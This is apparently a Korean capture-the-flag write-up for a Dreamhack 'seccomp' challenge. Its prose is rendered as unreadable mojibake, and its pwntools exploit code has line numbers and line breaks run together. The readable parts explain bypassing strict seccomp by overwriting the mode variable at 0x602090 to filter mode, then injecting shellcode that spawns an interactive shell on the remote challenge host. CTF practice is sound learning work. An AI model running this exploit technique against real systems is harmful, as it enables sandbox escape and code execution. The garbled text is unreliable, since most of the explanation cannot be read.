seccomp
๋ฌธ์ ํ์ด
๋ณดํธ๊ธฐ๋ฒ์ ์ค์ํ ์ ๋๋ก NX์ Canary.., Partial RELRO๊ฐ ์๋ ๋ชจ์ต
ASLR์ ๋น์ฐํ ๊ธฐ๋ณธ์ผ๋ก ๋์ด ์๊ฒ ๋ค์.. ใ
์ ์ด๋ ๋ณดํธ๊ธฐ๋ฒ์ด ๋ ใ
์ด๋ฒ์ filter_list๊ฐ ์๋ strict๋ชจ๋๋ผ์ read, write,exit..์ ๋์ ์์คํ ์ฝ๋ง ๊ฐ๋ฅํฉ๋๋ค.
์ํคํ
์ฒ๊ฐ 64๋๊น ์ฝ๋ฒํธ๊ฐ ์ด๊ณผํ์ง ์์ผ๋ฉด ํธ์ถ์ด๋๊น..
0x400..์ ๋ง์ถ๊ณ seccomp์ ์ฐํํ๋ ๊ฑด ์ ์๋ ๋ฏ ์ถ๋ค์
๊ทธ๋์ ๋ฐฉ๋ฒ์ ์ฐพ๋ ๋์ค SECCOMP_MODE_STRICT์ ์ง์ค
๊ตฌ๊ธ๋งํ๊ฒฐ๊ณผ
Linux seccomp
Linux์ Process Sandboxing ๊ธฐ๋ฒ์ธ seccomp์ ๋ถ์ํ๋ค.
ssup2.github.io
seccomp(2) - Linux manual page
seccomp(2) — Linux manual page SECCOMP(2) Linux Programmer's Manual SECCOMP(2) NAME top seccomp - operate on Secure Computing state of the process SYNOPSIS top #include /* Definition of SECCOMP_* constants */ #include /* Definitio
man7.org
์ฌ๊ธฐ ๋ฌธ์์์ ํ์ธ ํ ์ ์๋์ mode ๋ณ์์์ FILTER MODE๋ก ๋ฐ๊ฟ๋ฒ๋ฆฌ๋ฉด
ํํฐ๋ง ํ๋ syscall์ด ์์ด์ ์๋ฌด syscall์ด๋ ํธ์ถํ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค
๊ทธ๋์ filter mode์ ์ฝ๋ฒํธ๋ ์ ๋งํฌ์์ 2๋ฒ์งธ๋ผ๊ณ ๋งํ๋ ๋ฏ ์ถ๊ธฐ์ 2๋ฒ์ด๋ฉฐ,
๋ค์์ผ๋ก mode์ ๋ณ์ ์ฃผ์๋ฅผ ํ์ธํ๋ฉด..
0x602090์ ๋๋ค. ํด์ ์ต์ค ์ฝ๋๋ฅผ ์์ฑํด๋ณด๋ฉด..
Exploit ์ค๊ณ
์ฌ๊ธฐ์ 1๋ฒ์ ์์ฝ๋ ๋ฃ์ผ๋ฉด ๋๊ณ 2๋ฒ์ ์คํ 3๋ฒ์ด ์ฐ๋ฆฌ๊ฐ ๊ตฌํ ์ ๋ณด๋ฅผ ๋ฃ์ผ๋ฉด ๋๊ฒ ๊ตฐ์
filter๋ชจ๋๋ก ์ ํํ๋ ๊ณผ์ ์ด๋๊น์ ์.. ๋๋จธ์ง ๋ถ๋ถ์ ์์์ ๋งํ ๋ด์ฉ์ด๋๊น ์ด๋ ต์ง ์์ฃ ?
1234567891011121314151617181920212223 from pwn import *#context.log_level = 'debug'context(arch='x86_64')p = remote("host3.dreamhack.games", 23877)#p = process("./seccomp")mode = 0x602090shellcode = asm(shellcraft.sh())p.sendlineafter("> ", "3")p.sendlineafter("addr: ", str(mode))p.sendlineafter("value: ", "2")p.sendlineafter("> ", "1")p.sendafter("shellcode: ", shellcode)p.sendlineafter("> ", "2")p.interactive()cs
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง